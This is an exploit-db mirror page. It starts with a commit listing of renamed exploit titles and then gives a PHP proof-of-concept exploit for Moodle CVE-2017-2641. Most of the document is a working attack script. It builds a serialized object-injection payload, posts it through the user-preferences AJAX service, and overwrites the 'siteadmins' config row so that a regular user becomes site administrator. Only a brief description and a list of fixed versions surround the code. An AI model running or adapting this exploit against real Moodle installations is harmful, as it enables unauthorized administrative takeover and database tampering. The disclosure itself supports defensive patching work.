exploit-db-mirror/platforms/php/webapps/41828.php
Offensive Security 7018b7742d DB: 2017-04-07
7 new exploits

Microsoft Windows - Explorer (.WMF) CreateBrushIndirect Denial of Service
Microsoft Windows Explorer - '.WMF' CreateBrushIndirect Denial of Service

Microsoft Windows - Explorer (.AVI) Unspecified Denial of Service
Microsoft Windows Explorer - '.AVI' Unspecified Denial of Service

Microsoft Windows - Explorer Unspecified .ANI File Denial of Service
Microsoft Windows Explorer - Unspecified '.ANI' File Denial of Service

Microsoft Windows - explorer.exe Gif Image Denial of Service
Microsoft Windows Explorer - '.GIF' Image Denial of Service

Microsoft Windows Media Player - AIFF Divide By Zero Exception Denial of Service (PoC)
Microsoft Windows Media Player - '.AIFF' Divide By Zero Exception Denial of Service (PoC)

Microsoft Windows - Explorer Unspecified .doc File Denial of Service
Microsoft Windows Explorer - Unspecified '.doc' File Denial of Service

Microsoft Windows - GDI+ '.ico' Remote Division By Zero Exploit
Microsoft Windows - GDI+ '.ICO' Remote Division By Zero Exploit

DesignWorks Professional 4.3.1 - Local .CCT File Stack Buffer Overflow (PoC)
DesignWorks Professional 4.3.1 - Local '.CCT' File Stack Buffer Overflow (PoC)

IrfanView 4.33 - Format PlugIn .TTF File Parsing Stack Based Overflow
IrfanView 4.33 - Format PlugIn '.TTF' File Parsing Stack Based Overflow

Microsoft Windows NT 4/2000 - TCP/IP Printing Service Denial of Service
Microsoft Windows NT 4.0/2000 - TCP/IP Printing Service Denial of Service

Microsoft Windows NT 4.0 / 2000 - LPC Zone Memory Depletion Denial of Service
Microsoft Windows NT 4.0/2000 - LPC Zone Memory Depletion Denial of Service

Microsoft Windows NT / 2000 - Terminal Server Service RDP Denial of Service
Microsoft Windows NT/2000 - Terminal Server Service RDP Denial of Service
Microsoft Windows NT 4/2000 - TCP Stack Denial of Service (1)
Microsoft Windows NT 4/2000 - TCP Stack Denial of Service (2)
Microsoft Windows NT 4.0/2000 - TCP Stack Denial of Service (1)
Microsoft Windows NT 4.0/2000 - TCP Stack Denial of Service (2)
Microsoft Windows XP/2000/NT 4 - Network Share Provider SMB Request Buffer Overflow (1)
Microsoft Windows XP/2000/NT 4 - Network Share Provider SMB Request Buffer Overflow (2)
Microsoft Windows XP/2000/NT 4.0 - Network Share Provider SMB Request Buffer Overflow (1)
Microsoft Windows XP/2000/NT 4.0 - Network Share Provider SMB Request Buffer Overflow (2)
Microsoft Windows XP/2000/NT 4 - RPC Service Denial of Service (1)
Microsoft Windows XP/2000/NT 4 - RPC Service Denial of Service (2)
Microsoft Windows XP/2000/NT 4 - RPC Service Denial of Service (3)
Microsoft Windows XP/2000/NT 4 - RPC Service Denial of Service (4)
Microsoft Windows XP/2000/NT 4.0 - RPC Service Denial of Service (1)
Microsoft Windows XP/2000/NT 4.0 - RPC Service Denial of Service (2)
Microsoft Windows XP/2000/NT 4.0 - RPC Service Denial of Service (3)
Microsoft Windows XP/2000/NT 4.0 - RPC Service Denial of Service (4)

Microsoft Windows XP/95/98/2000/NT 4 - 'Riched20.dll' Attribute Buffer Overflow
Microsoft Windows XP/95/98/2000/NT 4.0 - 'Riched20.dll' Attribute Buffer Overflow

Microsoft Windows XP/2000/NT 4 - Shell Long Share Name Buffer Overrun
Microsoft Windows XP/2000/NT 4.0 - Shell Long Share Name Buffer Overrun

Microsoft Windows Explorer - 'explorer.exe' .WMV File Handling Denial of Service
Microsoft Windows Explorer - 'explorer.exe' '.WMV' File Handling Denial of Service
Apple Mac OSX 10.4.x - iMovie HD .imovieproj Filename Format String
Apple Mac OSX 10.4.x - Help Viewer .help Filename Format String
Apple Mac OSX 10.4.x - iMovie HD '.imovieproj' Filename Format String
Apple Mac OSX 10.4.x - Help Viewer '.help' Filename Format String

Microsoft Windows XP/2003 - Explorer .WMF File Handling Denial of Service
Microsoft Windows XP/2003 - Explorer '.WMF' File Handling Denial of Service

Microsoft Windows Cursor - Object Potential Memory Leak (MS15-115)
Microsoft Windows - Cursor Object Potential Memory Leak (MS15-115)

Microsoft Windows Kernel win32k!OffsetChildren - Null Pointer Dereference
Microsoft Windows Kernel - win32k!OffsetChildren Null Pointer Dereference

Palo Alto Networks PanOS appweb3 - Stack Buffer Overflow
Palo Alto Networks PanOS - appweb3 Stack Buffer Overflow

Cesanta Mongoose OS - Use-After-Free

CommVault Edge 11 SP6 - Stack Buffer Overflow (PoC)

GLIBC (via /bin/su) - Privilege Escalation
GLIBC - '/bin/su' Privilege Escalation

cPanel 10.8.x - (cpwrap via mysqladmin) Privilege Escalation
cPanel 10.8.x - (cpwrap via MySQLAdmin) Privilege Escalation

Microsoft Windows - NtRaiseHardError Csrss.exe Memory Disclosure
Microsoft Windows - NtRaiseHardError 'Csrss.exe' Memory Disclosure

Microsoft Windows Contacts - 'wab32res.dll' DLL Hijacking
Microsoft Windows - Contacts 'wab32res.dll' DLL Hijacking

Microsoft Visio - 'VISIODWG.dll' .DXF File Handling (MS10-028) (Metasploit)
Microsoft Visio - 'VISIODWG.dll' '.DXF' File Handling (MS10-028) (Metasploit)

Microsoft Windows - Task Scheduler .XML Privilege Escalation (MS10-092) (Metasploit)
Microsoft Windows - Task Scheduler '.XML' Privilege Escalation (MS10-092) (Metasploit)

Microsoft Windows NT 4/2000 - DLL Search Path
Microsoft Windows NT 4.0/2000 - DLL Search Path

Microsoft Windows NT 4.0 / 2000 Predictable LPC Message Identifier - Multiple Vulnerabilities
Microsoft Windows NT 4.0/2000 Predictable LPC Message Identifier - Multiple Vulnerabilities

Microsoft Windows NT 4.0 / 2000 - Spoofed LPC Request (MS00-003)
Microsoft Windows NT 4.0/2000 - Spoofed LPC Request (MS00-003)

Microsoft Windows NT 3/4 - CSRSS Memory Access Violation
Microsoft Windows NT 3/4.0 - CSRSS Memory Access Violation

Microsoft Windows NT 4/2000 - NTFS File Hiding
Microsoft Windows NT 4.0/2000 - NTFS File Hiding

Microsoft Windows NT 4/2000 - Process Handle Local Privilege Elevation
Microsoft Windows NT 4.0/2000 - Process Handle Local Privilege Elevation
Microsoft Windows XP/2000/NT 4 - Window Message Subsystem Design Error (1)
Microsoft Windows XP/2000/NT 4 - Window Message Subsystem Design Error (2)
Microsoft Windows XP/2000/NT 4 - Window Message Subsystem Design Error (3)
Microsoft Windows XP/2000/NT 4 - Window Message Subsystem Design Error (4)
Microsoft Windows XP/2000/NT 4 - Window Message Subsystem Design Error (5)
Microsoft Windows XP/2000/NT 4 - Window Message Subsystem Design Error (6)
Microsoft Windows XP/2000/NT 4 - Window Message Subsystem Design Error (7)
Microsoft Windows XP/2000/NT 4 - Window Message Subsystem Design Error (8)
Microsoft Windows XP/2000/NT 4.0 - Window Message Subsystem Design Error (1)
Microsoft Windows XP/2000/NT 4.0 - Window Message Subsystem Design Error (2)
Microsoft Windows XP/2000/NT 4.0 - Window Message Subsystem Design Error (3)
Microsoft Windows XP/2000/NT 4.0 - Window Message Subsystem Design Error (4)
Microsoft Windows XP/2000/NT 4.0 - Window Message Subsystem Design Error (5)
Microsoft Windows XP/2000/NT 4.0 - Window Message Subsystem Design Error (6)
Microsoft Windows XP/2000/NT 4.0 - Window Message Subsystem Design Error (7)
Microsoft Windows XP/2000/NT 4.0 - Window Message Subsystem Design Error (8)
Microsoft Windows XP/2000/NT 4 - NetDDE Privilege Escalation (1)
Microsoft Windows XP/2000/NT 4 - NetDDE Privilege Escalation (2)
Microsoft Windows XP/2000/NT 4.0 - NetDDE Privilege Escalation (1)
Microsoft Windows XP/2000/NT 4.0 - NetDDE Privilege Escalation (2)

Microsoft Windows Server 2000 - Help Facility .CNT File :Link Buffer Overflow
Microsoft Windows Server 2000 - Help Facility '.CNT' File :Link Buffer Overflow

Microsoft Windows NT 4/2000 - Local Descriptor Table Privilege Escalation (MS04-011)
Microsoft Windows NT 4.0/2000 - Local Descriptor Table Privilege Escalation (MS04-011)

Microsoft Windows NT 4/2000 - POSIX Subsystem Buffer Overflow Privilege Escalation (MS04-020)
Microsoft Windows NT 4.0/2000 - POSIX Subsystem Buffer Overflow Privilege Escalation (MS04-020)

Microsoft Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation
Microsoft Windows 10 (Build 10130) - User Mode Font Driver Thread Permissions Privilege Escalation

Palo Alto Networks PanOS root_reboot - Privilege Escalation
Palo Alto Networks PanOS - root_reboot Privilege Escalation

Oracle 9i / 10g - File System Access via utl_file Exploit
Oracle 9i / 10g - 'utl_file' File System Access Exploit

KDE 4.4.1 - Ksysguard Remote Code Execution via Cross Application Scripting
KDE 4.4.1 - Ksysguard Remote Code Execution (via Cross Application Scripting)

QuickPHP Web Server Arbitrary - 'src .php' File Download
QuickPHP Web Server - Arbitrary '.php' File Download

Microsoft Windows Common Control Library (Comctl32) - Heap Overflow (MS10-081)
Microsoft Windows - Common Control Library (Comctl32) Heap Overflow (MS10-081)

Microsoft Internet Explorer 4 (Windows 95/NT 4) - Setupctl ActiveX Control Buffer Overflow
Microsoft Internet Explorer 4 (Windows 95/NT 4.0) - Setupctl ActiveX Control Buffer Overflow

Microsoft Internet Explorer 5 (Windows 95/98/2000/NT 4) - XML HTTP Redirect
Microsoft Internet Explorer 5 (Windows 95/98/2000/NT 4.0) - XML HTTP Redirect

Microsoft Windows NT 4/2000 - NetBIOS Name Conflict
Microsoft Windows NT 4.0/2000 - NetBIOS Name Conflict

X-Chat 1.2/1.3/1.4/1.5 - Command Execution Via URLs
X-Chat 1.2/1.3/1.4/1.5 - Command Execution via URLs

Microsoft Windows 95/98/2000/NT4 - WinHlp Item Buffer Overflow
Microsoft Windows 95/98/2000/NT 4.0 - WinHlp Item Buffer Overflow

Microsoft Windows XP/2000/NT 4 - Help Facility ActiveX Control Buffer Overflow
Microsoft Windows XP/2000/NT 4.0 - Help Facility ActiveX Control Buffer Overflow

Microsoft Windows XP/2000/NT 4 - Locator Service Buffer Overflow
Microsoft Windows XP/2000/NT 4.0 - Locator Service Buffer Overflow

AIX 3.x/4.x / Windows 95/98/2000/NT 4 / SunOS 5 gethostbyname() - Buffer Overflow
AIX 3.x/4.x / Windows 95/98/2000/NT 4.0 / SunOS 5 gethostbyname() - Buffer Overflow
Microsoft IIS 5.0 (Windows XP/2000/NT 4) - WebDAV 'ntdll.dll' Buffer Overflow (1)
Microsoft IIS 5.0 (Windows XP/2000/NT 4) - WebDAV 'ntdll.dll' Buffer Overflow (2)
Microsoft IIS 5.0 (Windows XP/2000/NT 4) - WebDAV 'ntdll.dll' Buffer Overflow (3)
Microsoft IIS 5.0 (Windows XP/2000/NT 4) - WebDAV 'ntdll.dll' Buffer Overflow (4)
Microsoft IIS 5.0 (Windows XP/2000/NT 4.0) - WebDAV 'ntdll.dll' Buffer Overflow (1)
Microsoft IIS 5.0 (Windows XP/2000/NT 4.0) - WebDAV 'ntdll.dll' Buffer Overflow (2)
Microsoft IIS 5.0 (Windows XP/2000/NT 4.0) - WebDAV 'ntdll.dll' Buffer Overflow (3)
Microsoft IIS 5.0 (Windows XP/2000/NT 4.0) - WebDAV 'ntdll.dll' Buffer Overflow (4)

Microsoft Windows XP/2000/NT 4 - HTML Converter HR Align Buffer Overflow
Microsoft Windows XP/2000/NT 4.0 - HTML Converter HR Align Buffer Overflow

Microsoft Windows NT 4/2000 - Media Services 'nsiislog.dll' Remote Buffer Overflow
Microsoft Windows NT 4.0/2000 - Media Services 'nsiislog.dll' Remote Buffer Overflow

Cerulean Studios Trillian 3.0 - Remote .png Image File Parsing Buffer Overflow
Cerulean Studios Trillian 3.0 - Remote '.png' Image File Parsing Buffer Overflow

Zoom Player 3.30/5/6 - Crafted .ZPL File Error Message Arbitrary Code Execution
Zoom Player 3.30/5/6 - Crafted '.ZPL' File Error Message Arbitrary Code Execution

SpiceWorks 7.5 TFTP - Remote File Overwrite / Upload

Windows 10 x64 - Egghunter Shellcode (45 bytes)

eFiction 2.0 - 'Fake .gif' Arbitrary File Upload
eFiction 2.0 - Fake '.GIF' Arbitrary File Upload

cPanel 10.8.x - (cpwrap via mysqladmin) Privilege Escalation (PHP)
cPanel 10.8.x - (cpwrap via MySQLAdmin) Privilege Escalation (PHP)
Apple WebKit 10.0.2(12602.3.12.0.1) - 'disconnectSubframes' Universal Cross-Site Scripting
Apple WebKit 10.0.2(12602.3.12.0.1_ r210800) - 'constructJSReadableStreamDefaultReader' Type Confusion
Apple WebKit 10.0.2 (12602.3.12.0.1) - 'disconnectSubframes' Universal Cross-Site Scripting
Apple WebKit 10.0.2 (12602.3.12.0.1_ r210800) - 'constructJSReadableStreamDefaultReader' Type Confusion

SharePoint 2007/2010 and DotNetNuke < 6 - File Disclosure via XEE
SharePoint 2007/2010 and DotNetNuke < 6 - File Disclosure (via XEE)

The Uploader 2.0.4 - (English/Italian) Arbitrary File Upload / Remote Code Execution (Metasploit)
The Uploader 2.0.4 (English/Italian) - Arbitrary File Upload / Remote Code Execution (Metasploit)

elFinder 2 - Remote Command Execution (Via File Creation)
elFinder 2 - Remote Command Execution (via File Creation)

Magento < 2.0.6 - Unauthenticated Arbitrary Unserialize -> Arbitrary Write File
Magento < 2.0.6 - Unauthenticated Arbitrary Unserialize / Arbitrary Write File

AXIS Multiple Products - Authenticated Remote Command Execution via devtools Vector
AXIS Multiple Products - 'devtools ' Authenticated Remote Command Execution
GeoMoose < 2.9.2 - Directory Traversal
Moodle 2.x/3.x - SQL Injection
HelpDEZK 1.1.1 - Cross-Site Request Forgery / Code Execution
2017-04-07 05:01:20 +00:00

134 lines
5.8 KiB
PHP
Executable file

# Exploit: Moodle SQL Injection via Object Injection Through User Preferences
# Date: April 6th, 2017
# Exploit Author: Marko Belzetski
# Contact: mbelzetski@protonmail.com
# Vendor Homepage: https://moodle.org/
# Version: 3.2 to 3.2.1, 3.1 to 3.1.4, 3.0 to 3.0.8, 2.7.0 to 2.7.18 and other unsupported versions
# Tested on: Moodle 3.2 running on php7.0 on Ubuntu 16.04
# CVE : CVE-2017-2641
1. Description
In Moodle 3.2 to 3.2.1, 3.1 to 3.1.4, 3.0 to 3.0.8, 2.7.0 to 2.7.18 and other unsupported versions, any registered user can update any table of the Moodle database via an objection injection through a legacy user preferences setting (Described by Netanel Rubin at http://netanelrub.in/2017/03/20/moodle-remote-code-execution/)
2. PoC
Log in as a regular user and note the URL of the Moodle site, the 'MoodleSession' cookie value and the 'sesskey' parameter along with your 'userid' from the page source. Paste these values into the exploit script, fire the script, re-authenticate and you will be the site administrator.
<?php
//defining the required classes for our exploit
namespace gradereport_singleview\local\ui {
class feedback{
}
}
namespace {
class gradereport_overview_external{
}
class grade_item{
}
class grade_grade{
}
// creating a simple httpPost method which requires php-curl
function httpPost($url, $data, $MoodleSession, $json)
{
$curl = curl_init($url);
$headers = array('Cookie: MoodleSession='.$MoodleSession);
if($json){
array_push($headers, 'Content-Type: application/json');
}else{
$data = urldecode(http_build_query($data));
}
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
// creating a simple httpGet method which requires php-curl
function httpGet($url, $MoodleSession)
{
$curl = curl_init($url);
$headers = array('Cookie: MoodleSession='.$MoodleSession);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
function update_table($url, $MoodleSession, $sesskey, $table, $rowId, $column, $value){
//first we create a gradereport_overview_external object because it is supported by the Moodle autoloader and it includes the grade_grade and grade_item classes that we are going to need
$base = new gradereport_overview_external();
// now we create the feedback object which inherits the vulnerable __tostring() method from its parent
$fb = new gradereport_singleview\local\ui\feedback();
//filling the feedback object with the required properties for the exploit to work
$fb -> grade = new grade_grade();
$fb -> grade -> grade_item = new grade_item();
$fb -> grade -> grade_item -> calculation = "[[somestring";
$fb -> grade -> grade_item -> calculation_normalized = false;
//setting the table which we want to alter
$fb -> grade -> grade_item -> table = $table;
//setting the row id of the row that we want to alter
$fb -> grade -> grade_item -> id = $rowId;
//setting the column with the value that we want to insert
$fb -> grade -> grade_item -> $column = $value;
$fb -> grade -> grade_item -> required_fields = array($column,'id');
//creating the array with our base object (which itself is included in an array because the base object has no __tostring() method) and our payload object
$arr = array(array($base),$fb);
//serializing the array
$value = serialize($arr);
//we'll set the course_blocks sortorder to 0 so we default to legacy user preference
$data = array('sesskey' => $sesskey, 'sortorder[]' => 0);
httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0);
//injecting the payload
$data = json_encode(array(array('index'=> 0, 'methodname'=>'core_user_update_user_preferences','args'=>array('preferences'=>array(array('type'=> 'course_overview_course_order', 'value' => $value))))));
httpPost($url.'/lib/ajax/service.php?sesskey='.$sesskey, $data, $MoodleSession,1);
//getting the frontpage so the payload will activate
httpGet($url.'/my/', $MoodleSession);
}
$url = ''; //url of the Moodle site
$MoodleSession = '' //your MoodleSession cookie value
$sesskey = ''; //your sesskey
$table = "config"; //table to update
$rowId = 25; // row id to insert into. 25 is the row that sets the 'siteadmins' parameter. could vary from installation to installation
$column = 'value'; //column name to update, which holds the userid
$value = 3; // userid to set as 'siteadmins' Probably want to make it your own
update_table($url, $MoodleSession,$sesskey,$table,$rowId,$column, $value);
//reset the allversionshash config entry with a sha1 hash so the site reloads its configuration
$rowId = 375 // row id of 'allversionshash' parameter
update_table($url, $MoodleSession,$sesskey,$table,$rowId, $column, sha1(time()));
//reset the sortorder so we can see the front page again without the payload triggering
$data = array('sesskey' => $sesskey, 'sortorder[]' => 1);
httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0);
//force plugincheck so we can access admin panel
httpGet($url.'/admin/index.php?cache=0&confirmplugincheck=1',$MoodleSession);
}
?>
3. Solution:
Upgrade to fixed Moodle versions: 3.2.2, 3.1.5, 3.0.9 or 2.7.19